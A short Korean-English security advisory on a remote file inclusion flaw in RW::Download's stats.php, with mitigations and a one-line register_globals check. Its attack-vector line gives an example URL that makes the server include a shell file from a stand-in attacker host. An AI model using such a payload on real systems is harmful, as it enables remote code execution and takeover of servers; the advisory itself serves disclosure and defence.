🇰🇷 한글 설명
RW::Download의 stats.php에서 register_globals 활성화 시 root_path 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 외부 PHP 파일을 강제 포함시켜 임의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹 서버의 설정 오류로 인해 외부 파일을 강제로 실행시킬 수 있는 문제입니다. 이를 악용하면 서버 전체를 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in stats.php in RW::Download, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the root_path parameter.
📍 영향받는 시스템
RW::Download 애플리케이션, PHP register_globals 활성화 환경
⚔️ 공격 벡터
stats.php?root_path=http://attacker.com/shell.php와 같은 URL 파라미터 조작으로 원격 코드 실행
🛡️ 대응 방법
PHP register_globals 비활성화, 파라미터 입력값 검증 강화, 절대경로 지정으로 동적 포함 제거
🔧 검증 코드
VULNERABLE 출력 시 즉시 비활성화 필요, SAFE 출력 시 안전한 상태입니다.
php -r 'echo ini_get("register_globals") ? "VULNERABLE" : "SAFE";'